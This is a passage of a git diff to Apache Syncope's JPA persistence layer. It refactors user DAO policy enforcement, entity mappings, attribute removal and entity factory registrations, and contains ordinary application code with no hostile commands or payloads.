instanceof JPAPushTask) { ((JPAPushTask) task).map2json(); } + return entityManager().merge(task); } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAUserDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAUserDAO.java index 3eca4580b81..b78401d0d37 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAUserDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAUserDAO.java @@ -27,41 +27,30 @@ import java.util.Objects; import java.util.Optional; import java.util.Set; -import java.util.concurrent.ConcurrentHashMap; import java.util.stream.Collectors; import javax.persistence.NoResultException; -import javax.persistence.PersistenceException; import javax.persistence.Query; import javax.persistence.TypedQuery; import org.apache.commons.lang3.tuple.Pair; import org.apache.syncope.common.lib.types.AnyTypeKind; -import org.apache.syncope.common.lib.types.EntityViolationType; import org.apache.syncope.common.lib.types.IdRepoEntitlement; -import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; import org.apache.syncope.core.persistence.api.dao.AccessTokenDAO; -import org.apache.syncope.core.persistence.api.dao.AccountRule; import org.apache.syncope.core.persistence.api.dao.DelegationDAO; import org.apache.syncope.core.persistence.api.dao.DerSchemaDAO; import org.apache.syncope.core.persistence.api.dao.DynRealmDAO; import org.apache.syncope.core.persistence.api.dao.FIQLQueryDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; -import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.RoleDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; -import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.persistence.api.entity.ExternalResource; -import org.apache.syncope.core.persistence.api.entity.Implementation; import org.apache.syncope.core.persistence.api.entity.Membership; import org.apache.syncope.core.persistence.api.entity.Privilege; import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.Role; import org.apache.syncope.core.persistence.api.entity.group.Group; -import org.apache.syncope.core.persistence.api.entity.policy.AccountPolicy; -import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; import org.apache.syncope.core.persistence.api.entity.user.LinkedAccount; import org.apache.syncope.core.persistence.api.entity.user.SecurityQuestion; import org.apache.syncope.core.persistence.api.entity.user.UMembership; @@ -70,12 +59,8 @@ import org.apache.syncope.core.persistence.jpa.entity.user.JPAUMembership; import org.apache.syncope.core.persistence.jpa.entity.user.JPAUser; import org.apache.syncope.core.provisioning.api.utils.RealmUtils; -import org.apache.syncope.core.spring.implementation.ImplementationManager; -import org.apache.syncope.core.spring.policy.AccountPolicyException; -import org.apache.syncope.core.spring.policy.PasswordPolicyException; import org.apache.syncope.core.spring.security.AuthContextUtils; import org.apache.syncope.core.spring.security.DelegatedAdministrationException; -import org.apache.syncope.core.spring.security.Encryptor; import org.apache.syncope.core.spring.security.SecurityProperties; import org.springframework.transaction.annotation.Propagation; import org.springframework.transaction.annotation.Transactional; @@ -86,8 +71,6 @@ public class JPAUserDAO extends AbstractAnyDAO implements UserDAO { protected final AccessTokenDAO accessTokenDAO; - protected final RealmDAO realmDAO; - protected final GroupDAO groupDAO; protected final DelegationDAO delegationDAO; @@ -96,10 +79,6 @@ public class JPAUserDAO extends AbstractAnyDAO implements UserDAO { protected final SecurityProperties securityProperties; - protected final Map perContextAccountRules = new ConcurrentHashMap<>(); - - protected final Map perContextPasswordRules = new ConcurrentHashMap<>(); - public JPAUserDAO( final AnyUtilsFactory anyUtilsFactory, final PlainSchemaDAO plainSchemaDAO, @@ -107,7 +86,6 @@ public JPAUserDAO( final DynRealmDAO dynRealmDAO, final RoleDAO roleDAO, final AccessTokenDAO accessTokenDAO, - final RealmDAO realmDAO, final GroupDAO groupDAO, final DelegationDAO delegationDAO, final FIQLQueryDAO fiqlQueryDAO, @@ -116,7 +94,6 @@ public JPAUserDAO( super(anyUtilsFactory, plainSchemaDAO, derSchemaDAO, dynRealmDAO); this.roleDAO = roleDAO; this.accessTokenDAO = accessTokenDAO; - this.realmDAO = realmDAO; this.groupDAO = groupDAO; this.delegationDAO = delegationDAO; this.fiqlQueryDAO = fiqlQueryDAO; @@ -131,7 +108,18 @@ protected AnyUtils init() { @Transactional(readOnly = true) @Override public String findKey(final String username) { - return findKey(username, JPAUser.TABLE); + Query query = entityManager().createNativeQuery("SELECT id FROM " + JPAUser.TABLE + " WHERE username=?"); + query.setParameter(1, username); + + String key = null; + + for (Object resultKey : query.getResultList()) { + key = resultKey instanceof Object[] + ? (String) ((Object[]) resultKey)[0] + : ((String) resultKey); + } + + return key; } @Transactional(readOnly = true) @@ -159,14 +147,14 @@ public Optional findUsername(final String key) { @Override public int count() { Query query = entityManager().createQuery( - "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); + "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); return ((Number) query.getSingleResult()).intValue(); } @Override public Map countByRealm() { Query query = entityManager().createQuery( - "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.realm"); + "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.realm"); @SuppressWarnings("unchecked") List results = query.getResultList(); @@ -178,7 +166,7 @@ public Map countByRealm() { @Override public Map countByStatus() { Query query = entityManager().createQuery( - "SELECT e.status, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.status"); + "SELECT e.status, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e GROUP BY e.status"); @SuppressWarnings("unchecked") List results = query.getResultList(); @@ -196,8 +184,10 @@ public void securityChecks( final Collection groups) { // 1. check if AuthContextUtils.getUsername() is owner of at least one group of which user is member - boolean authorized = authRealms.stream().map(RealmUtils::parseGroupOwnerRealm).filter(Optional::isPresent). - anyMatch(pair -> groups.contains(pair.get().getRight())); + boolean authorized = authRealms.stream(). + map(authRealm -> RealmUtils.parseGroupOwnerRealm(authRealm).orElse(null)). + filter(Objects::nonNull). + anyMatch(pair -> groups.contains(pair.getRight())); // 2. check if user is in at least one DynRealm for which AuthContextUtils.getUsername() owns entitlement if (!authorized) { @@ -277,28 +267,10 @@ public UMembership findMembership(final String key) { return entityManager().find(JPAUMembership.class, key); } - protected List getPasswordPolicies(final User user) { - List policies = new ArrayList<>(); - - // add resource policies - findAllResources(user). - forEach(resource -> Optional.ofNullable(resource.getPasswordPolicy()). - filter(p -> !policies.contains(p)). - ifPresent(policies::add)); - - // add realm policies - realmDAO.findAncestors(user.getRealm()). - forEach(realm -> Optional.ofNullable(realm.getPasswordPolicy()). - filter(p -> !policies.contains(p)). - ifPresent(policies::add)); - - return policies; - } - @Override public List findAll(final int page, final int itemsPerPage) { TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", User.class); + "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", User.class); query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); query.setMaxResults(itemsPerPage); @@ -310,196 +282,8 @@ public List findAllKeys(final int page, final int itemsPerPage) { return findAllKeys(JPAUser.TABLE, page, itemsPerPage); } - protected List getAccountPolicies(final User user) { - List policies = new ArrayList<>(); - - // add resource policies - findAllResources(user).stream(). - map(ExternalResource::getAccountPolicy). - filter(Objects::nonNull). - forEach(policies::add); - - // add realm policies - realmDAO.findAncestors(user.getRealm()).stream(). - map(Realm::getAccountPolicy). - filter(Objects::nonNull). - forEach(policies::add); - - return policies; - } - - protected List getAccountRules(final AccountPolicy policy) { - List result = new ArrayList<>(); - - for (Implementation impl : policy.getRules()) { - try { - ImplementationManager.buildAccountRule( - impl, - () -> perContextAccountRules.get(impl.getKey()), - instance -> perContextAccountRules.put(impl.getKey(), instance)). - ifPresent(result::add); - } catch (Exception e) { - LOG.warn("While building {}", impl, e); - } - } - - return result; - } - - protected List getPasswordRules(final PasswordPolicy policy) { - List result = new ArrayList<>(); - - for (Implementation impl : policy.getRules()) { - try { - ImplementationManager.buildPasswordRule( - impl, - () -> perContextPasswordRules.get(impl.getKey()), - instance -> perContextPasswordRules.put(impl.getKey(), instance)). - ifPresent(result::add); - } catch (Exception e) { - LOG.warn("While building {}", impl, e); - } - } - - return result; - } - - @Transactional(readOnly = true) - @Override - public Pair enforcePolicies(final User user) { - // ------------------------------ - // Verify password policies - // ------------------------------ - LOG.debug("Password Policy enforcement"); - - try { - int maxPPSpecHistory = 0; - for (PasswordPolicy policy : getPasswordPolicies(user)) { - if (user.getPassword() == null && !policy.isAllowNullPassword()) { - throw new PasswordPolicyException("Password mandatory"); - } - - getPasswordRules(policy).forEach(rule -> { - rule.enforce(user); - - user.getLinkedAccounts().stream(). - filter(account -> account.getPassword() != null). - forEach(rule::enforce); - }); - - boolean matching = false; - if (policy.getHistoryLength() > 0) { - List pwdHistory = user.getPasswordHistory(); - matching = pwdHistory.subList(policy.getHistoryLength() >= pwdHistory.size() - ? 0 - : pwdHistory.size() - policy.getHistoryLength(), pwdHistory.size()).stream(). - map(old -> Encryptor.getInstance().verify( - user.getClearPassword(), user.getCipherAlgorithm(), old)). - reduce(matching, (accumulator, item) -> accumulator | item); - } - if (matching) { - throw new PasswordPolicyException("Password value was used in the past: not allowed"); - } - - if (policy.getHistoryLength() > maxPPSpecHistory) { - maxPPSpecHistory = policy.getHistoryLength(); - } - } - - // update user's password history with encrypted password - if (maxPPSpecHistory > 0 - && user.getPassword() != null - && !user.getPasswordHistory().contains(user.getPassword())) { - - user.addToPasswordHistory(user.getPassword()); - } - // keep only the last maxPPSpecHistory items in user's password history - if (maxPPSpecHistory < user.getPasswordHistory().size()) { - user.removeOldestEntriesFromPasswordHistory(user.getPasswordHistory().size() - maxPPSpecHistory); - } - } catch (PersistenceException | InvalidEntityException e) { - throw e; - } catch (Exception e) { - LOG.error("Invalid password for {}", user, e); - throw new InvalidEntityException(User.class, EntityViolationType.InvalidPassword, e.getMessage()); - } finally { - // password has been validated, let's remove its clear version - user.removeClearPassword(); - } - - // ------------------------------ - // Verify account policies - // ------------------------------ - LOG.debug("Account Policy enforcement"); - - boolean suspend = false; - boolean propagateSuspension = false; - try { - if (user.getUsername() == null) { - throw new AccountPolicyException("Null username"); - } - - if (securityProperties.getAdminUser().equals(user.getUsername()) - || securityProperties.getAnonymousUser().equals(user.getUsername())) { - - throw new AccountPolicyException("Not allowed: " + user.getUsername()); - } - - List accountPolicies = getAccountPolicies(user); - if (accountPolicies.isEmpty()) { - if (!Entity.ID_PATTERN.matcher(user.getUsername()).matches()) { - throw new AccountPolicyException("Character(s) not allowed: " + user.getUsername()); - } - user.getLinkedAccounts().stream(). - filter(account -> account.getUsername() != null). - forEach(account -> { - if (!Entity.ID_PATTERN.matcher(account.getUsername()).matches()) { - throw new AccountPolicyException("Character(s) not allowed: " + account.getUsername()); - } - }); - } else { - for (AccountPolicy policy : accountPolicies) { - getAccountRules(policy).forEach(rule -> { - rule.enforce(user); - - user.getLinkedAccounts().stream(). - filter(account -> account.getUsername() != null). - forEach(rule::enforce); - }); - - suspend |= user.getFailedLogins() != null && policy.getMaxAuthenticationAttempts() > 0 - && user.getFailedLogins() > policy.getMaxAuthenticationAttempts() && !user.isSuspended(); - propagateSuspension |= policy.isPropagateSuspension(); - } - } - } catch (PersistenceException | InvalidEntityException e) { - throw e; - } catch (Exception e) { - LOG.error("Invalid username for {}", user, e); - throw new InvalidEntityException(User.class, EntityViolationType.InvalidUsername, e.getMessage()); - } - - return Pair.of(suspend, propagateSuspension); - } - protected Pair, Set>> doSave(final User user) { - // 1. save clear password value before save - String clearPwd = user.getClearPassword(); - - // 2. save User merged = super.save(user); - - // 3. set back the sole clear password value - JPAUser.class.cast(merged).setClearPassword(clearPwd); - - // 4. enforce password and account policies - try { - enforcePolicies(merged); - } catch (InvalidEntityException e) { - entityManager().remove(merged); - throw e; - } - roleDAO.refreshDynMemberships(merged); Pair, Set> dynGroupMembs = groupDAO.refreshDynMemberships(merged); dynRealmDAO.refreshDynMemberships(merged); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/SearchSupport.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/SearchSupport.java index 936315574d9..7235f6a81f1 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/SearchSupport.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/SearchSupport.java @@ -63,6 +63,11 @@ public boolean equals(final Object obj) { append(name, other.name). build(); } + + @Override + public String toString() { + return "SearchView{" + "alias=" + alias + ", name=" + name + '}'; + } } protected final AnyTypeKind anyTypeKind; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyType.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyType.java index 1af918d5787..5dda39ac251 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyType.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyType.java @@ -18,18 +18,16 @@ */ package org.apache.syncope.core.persistence.jpa.entity; -import java.util.ArrayList; -import java.util.List; +import java.util.HashSet; +import java.util.Set; import javax.persistence.Cacheable; import javax.persistence.Entity; import javax.persistence.EnumType; import javax.persistence.Enumerated; -import javax.persistence.FetchType; import javax.persistence.JoinColumn; import javax.persistence.JoinTable; import javax.persistence.ManyToMany; import javax.persistence.Table; -import javax.persistence.UniqueConstraint; import javax.validation.constraints.NotNull; import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.core.persistence.api.entity.AnyType; @@ -50,14 +48,12 @@ public class JPAAnyType extends AbstractProvidedKeyEntity implements AnyType { @Enumerated(EnumType.STRING) private AnyTypeKind kind; - @ManyToMany(fetch = FetchType.EAGER) + @ManyToMany @JoinTable(joinColumns = @JoinColumn(name = "anyType_id", referencedColumnName = "id"), inverseJoinColumns = - @JoinColumn(name = "anyTypeClass_id", referencedColumnName = "id"), - uniqueConstraints = - @UniqueConstraint(columnNames = { "anyType_id", "anyTypeClass_id" })) - private List classes = new ArrayList<>(); + @JoinColumn(name = "anyTypeClass_id", referencedColumnName = "id")) + private Set classes = new HashSet<>(); @Override public AnyTypeKind getKind() { @@ -72,11 +68,11 @@ public void setKind(final AnyTypeKind kind) { @Override public boolean add(final AnyTypeClass anyTypeClass) { checkType(anyTypeClass, JPAAnyTypeClass.class); - return classes.contains((JPAAnyTypeClass) anyTypeClass) || this.classes.add((JPAAnyTypeClass) anyTypeClass); + return classes.add((JPAAnyTypeClass) anyTypeClass); } @Override - public List getClasses() { + public Set getClasses() { return classes; } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyTypeClass.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyTypeClass.java index 5fb64aa2fca..52ee93ea28f 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyTypeClass.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyTypeClass.java @@ -23,7 +23,6 @@ import javax.persistence.Cacheable; import javax.persistence.Entity; import javax.persistence.FetchType; -import javax.persistence.ManyToMany; import javax.persistence.OneToMany; import javax.persistence.Table; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; @@ -40,9 +39,6 @@ public class JPAAnyTypeClass extends AbstractProvidedKeyEntity implements AnyTyp public static final String TABLE = "AnyTypeClass"; - @ManyToMany(fetch = FetchType.EAGER, mappedBy = "classes") - private List types = new ArrayList<>(); - @OneToMany(fetch = FetchType.EAGER, mappedBy = "anyTypeClass") private List plainSchemas = new ArrayList<>(); @@ -84,5 +80,4 @@ public boolean add(final VirSchema schema) { public List getVirSchemas() { return virSchemas; } - } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtils.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtils.java index 786709523b4..01a9a547a4b 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtils.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtils.java @@ -45,12 +45,15 @@ import org.apache.syncope.core.persistence.api.dao.AnyDAO; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrValueDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.AnyTypeClass; import org.apache.syncope.core.persistence.api.entity.AnyUtils; import org.apache.syncope.core.persistence.api.entity.EntityFactory; import org.apache.syncope.core.persistence.api.entity.ExternalResource; +import org.apache.syncope.core.persistence.api.entity.GroupablePlainAttr; import org.apache.syncope.core.persistence.api.entity.PlainAttr; import org.apache.syncope.core.persistence.api.entity.PlainAttrUniqueValue; import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; @@ -125,6 +128,10 @@ public static boolean matchesFieldName(final String candidate) { protected final AnyObjectDAO anyObjectDAO; + protected final PlainAttrDAO plainAttrDAO; + + protected final PlainAttrValueDAO plainAttrValueDAO; + protected final EntityFactory entityFactory; protected final AnyTypeKind anyTypeKind; @@ -135,6 +142,8 @@ protected JPAAnyUtils( final UserDAO userDAO, final GroupDAO groupDAO, final AnyObjectDAO anyObjectDAO, + final PlainAttrDAO plainAttrDAO, + final PlainAttrValueDAO plainAttrValueDAO, final EntityFactory entityFactory, final AnyTypeKind anyTypeKind, final boolean linkedAccount) { @@ -142,6 +151,8 @@ protected JPAAnyUtils( this.userDAO = userDAO; this.groupDAO = groupDAO; this.anyObjectDAO = anyObjectDAO; + this.plainAttrDAO = plainAttrDAO; + this.plainAttrValueDAO = plainAttrValueDAO; this.entityFactory = entityFactory; this.anyTypeKind = anyTypeKind; this.linkedAccount = linkedAccount; @@ -454,4 +465,23 @@ public void addAttr( LOG.debug("{} has already {} set: {}", any, schema.getKey(), attr.getValuesAsStrings()); } } + + @Transactional + @Override + public void removeAttr(final String key, final PlainSchema schema) { + Any any = dao().find(key); + + any.getPlainAttr(schema.getKey()).ifPresentOrElse(attr -> { + PlainAttr plainAttr = (PlainAttr) attr; + any.remove(plainAttr); + plainAttr.setOwner(null); + if (plainAttr instanceof GroupablePlainAttr) { + ((GroupablePlainAttr) plainAttr).setMembership(null); + } + plainAttrValueDAO.deleteAll(plainAttr, this); + plainAttrDAO.delete(plainAttr); + + dao().save(any); + }, () -> LOG.warn("Any {} does not contain {} PLAIN attribute", key, schema.getKey())); + } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtilsFactory.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtilsFactory.java index e48d0934b29..cd8318c58f4 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtilsFactory.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAAnyUtilsFactory.java @@ -23,6 +23,8 @@ import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.core.persistence.api.dao.AnyObjectDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrDAO; +import org.apache.syncope.core.persistence.api.dao.PlainAttrValueDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.Any; import org.apache.syncope.core.persistence.api.entity.AnyUtils; @@ -41,6 +43,10 @@ public class JPAAnyUtilsFactory implements AnyUtilsFactory { protected final AnyObjectDAO anyObjectDAO; + protected final PlainAttrDAO plainAttrDAO; + + protected final PlainAttrValueDAO plainAttrValueDAO; + protected final EntityFactory entityFactory; protected final Map instances = new HashMap<>(3); @@ -51,11 +57,15 @@ public JPAAnyUtilsFactory( final UserDAO userDAO, final GroupDAO groupDAO, final AnyObjectDAO anyObjectDAO, + final PlainAttrDAO plainAttrDAO, + final PlainAttrValueDAO plainAttrValueDAO, final EntityFactory entityFactory) { this.userDAO = userDAO; this.groupDAO = groupDAO; this.anyObjectDAO = anyObjectDAO; + this.plainAttrDAO = plainAttrDAO; + this.plainAttrValueDAO = plainAttrValueDAO; this.entityFactory = entityFactory; } @@ -65,7 +75,15 @@ public AnyUtils getInstance(final AnyTypeKind anyTypeKind) { synchronized (instances) { instance = instances.get(anyTypeKind); if (instance == null) { - instance = new JPAAnyUtils(userDAO, groupDAO, anyObjectDAO, entityFactory, anyTypeKind, false); + instance = new JPAAnyUtils( + userDAO, + groupDAO, + anyObjectDAO, + plainAttrDAO, + plainAttrValueDAO, + entityFactory, + anyTypeKind, + false); ApplicationContextProvider.getBeanFactory().autowireBean(instance); instances.put(anyTypeKind, instance); } @@ -97,7 +115,14 @@ public AnyUtils getLinkedAccountInstance() { synchronized (this) { if (linkedAccountInstance == null) { linkedAccountInstance = new JPAAnyUtils( - userDAO, groupDAO, anyObjectDAO, entityFactory, AnyTypeKind.USER, true); + userDAO, + groupDAO, + anyObjectDAO, + plainAttrDAO, + plainAttrValueDAO, + entityFactory, + AnyTypeKind.USER, + true); } } return linkedAccountInstance; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAApplication.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAApplication.java index 756ce12ce6d..1f65267a5cf 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAApplication.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAApplication.java @@ -69,5 +69,4 @@ public Optional getPrivilege(final String key) { public List getPrivileges() { return privileges; } - } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAConnInstance.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAConnInstance.java index 253e6b272e3..fd62e592325 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAConnInstance.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAConnInstance.java @@ -206,14 +206,13 @@ public void setDisplayName(final String displayName) { @Override public List getResources() { - return this.resources; + return resources; } @Override public boolean add(final ExternalResource resource) { checkType(resource, JPAExternalResource.class); - return this.resources.contains((JPAExternalResource) resource) - || this.resources.add((JPAExternalResource) resource); + return resources.contains((JPAExternalResource) resource) || resources.add((JPAExternalResource) resource); } @Override diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAEntityFactory.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAEntityFactory.java index 5a508b85312..57a95f73329 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAEntityFactory.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAEntityFactory.java @@ -48,7 +48,6 @@ import org.apache.syncope.core.persistence.api.entity.Remediation; import org.apache.syncope.core.persistence.api.entity.Report; import org.apache.syncope.core.persistence.api.entity.ReportExec; -import org.apache.syncope.core.persistence.api.entity.ReportTemplate; import org.apache.syncope.core.persistence.api.entity.Role; import org.apache.syncope.core.persistence.api.entity.SRARoute; import org.apache.syncope.core.persistence.api.entity.VirSchema; @@ -84,8 +83,11 @@ import org.apache.syncope.core.persistence.api.entity.policy.PullPolicy; import org.apache.syncope.core.persistence.api.entity.policy.PushCorrelationRuleEntity; import org.apache.syncope.core.persistence.api.entity.policy.PushPolicy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; import org.apache.syncope.core.persistence.api.entity.task.AnyTemplatePullTask; +import org.apache.syncope.core.persistence.api.entity.task.FormPropertyDef; import org.apache.syncope.core.persistence.api.entity.task.MacroTask; +import org.apache.syncope.core.persistence.api.entity.task.MacroTaskCommand; import org.apache.syncope.core.persistence.api.entity.task.NotificationTask; import org.apache.syncope.core.persistence.api.entity.task.PropagationTask; import org.apache.syncope.core.persistence.api.entity.task.PullTask; @@ -137,8 +139,11 @@ import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPullPolicy; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPushCorrelationRuleEntity; import org.apache.syncope.core.persistence.jpa.entity.policy.JPAPushPolicy; +import org.apache.syncope.core.persistence.jpa.entity.policy.JPATicketExpirationPolicy; import org.apache.syncope.core.persistence.jpa.entity.task.JPAAnyTemplatePullTask; +import org.apache.syncope.core.persistence.jpa.entity.task.JPAFormPropertyDef; import org.apache.syncope.core.persistence.jpa.entity.task.JPAMacroTask; +import org.apache.syncope.core.persistence.jpa.entity.task.JPAMacroTaskCommand; import org.apache.syncope.core.persistence.jpa.entity.task.JPANotificationTask; import org.apache.syncope.core.persistence.jpa.entity.task.JPAPropagationTask; import org.apache.syncope.core.persistence.jpa.entity.task.JPAPullTask; @@ -260,8 +265,6 @@ public E newEntity(final Class reference) { result = (E) new JPAGPlainAttrUniqueValue(); } else if (reference.equals(Report.class)) { result = (E) new JPAReport(); - } else if (reference.equals(ReportTemplate.class)) { - result = (E) new JPAReportTemplate(); } else if (reference.equals(ReportExec.class)) { result = (E) new JPAReportExec(); } else if (reference.equals(NotificationTask.class)) { @@ -278,6 +281,10 @@ public E newEntity(final Class reference) { result = (E) new JPASchedTask(); } else if (reference.equals(AnyTemplatePullTask.class)) { result = (E) new JPAAnyTemplatePullTask(); + } else if (reference.equals(MacroTaskCommand.class)) { + result = (E) new JPAMacroTaskCommand(); + } else if (reference.equals(FormPropertyDef.class)) { + result = (E) new JPAFormPropertyDef(); } else if (reference.equals(SecurityQuestion.class)) { result = (E) new JPASecurityQuestion(); } else if (reference.equals(AuditConf.class)) { @@ -314,6 +321,8 @@ public E newEntity(final Class reference) { result = (E) new JPAAccessPolicy(); } else if (reference.equals(AttrReleasePolicy.class)) { result = (E) new JPAAttrReleasePolicy(); + } else if (reference.equals(TicketExpirationPolicy.class)) { + result = (E) new JPATicketExpirationPolicy(); } else if (reference.equals(OIDCRPClientApp.class)) { result = (E) new JPAOIDCRPClientApp(); } else if (reference.equals(CASSPClientApp.class)) { diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAExternalResource.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAExternalResource.java index 2fd04c28803..c4363a0da6f 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAExternalResource.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAExternalResource.java @@ -105,12 +105,6 @@ public class JPAExternalResource extends AbstractProvidedKeyEntity implements Ex */ private Integer propagationPriority; - /** - * Generate random password, if not provided. - */ - @NotNull - private Boolean randomPwdIfNotProvided = false; - @Enumerated(EnumType.STRING) @NotNull private TraceLevel createTraceLevel = TraceLevel.FAILURES; @@ -237,16 +231,6 @@ public void setPropagationPriority(final Integer propagationPriority) { this.propagationPriority = propagationPriority; } - @Override - public boolean isRandomPwdIfNotProvided() { - return randomPwdIfNotProvided; - } - - @Override - public void setRandomPwdIfNotProvided(final boolean randomPwdIfNotProvided) { - this.randomPwdIfNotProvided = randomPwdIfNotProvided; - } - @Override public TraceLevel getCreateTraceLevel() { return createTraceLevel; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAJobStatus.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAJobStatus.java index 5cda0127f92..dd1ac84622f 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAJobStatus.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAJobStatus.java @@ -20,6 +20,7 @@ import javax.persistence.Entity; import javax.persistence.Table; +import org.apache.commons.lang3.StringUtils; import org.apache.syncope.core.persistence.api.entity.JobStatus; @Entity @@ -30,6 +31,8 @@ public class JPAJobStatus extends AbstractProvidedKeyEntity implements JobStatus public static final String TABLE = "JobStatus"; + private static final int STATUS_MAX_LENGTH = 255; + private String jobStatus; @Override @@ -39,6 +42,6 @@ public String getStatus() { @Override public void setStatus(final String status) { - jobStatus = status; + jobStatus = StringUtils.abbreviate(status, STATUS_MAX_LENGTH); } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAMailTemplate.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAMailTemplate.java index fee18fdec3d..b02217e9b10 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAMailTemplate.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/entity/JPAMailTemplate.java @@ -58,5 +58,4 @@ public String getHTMLTemplate() { public void 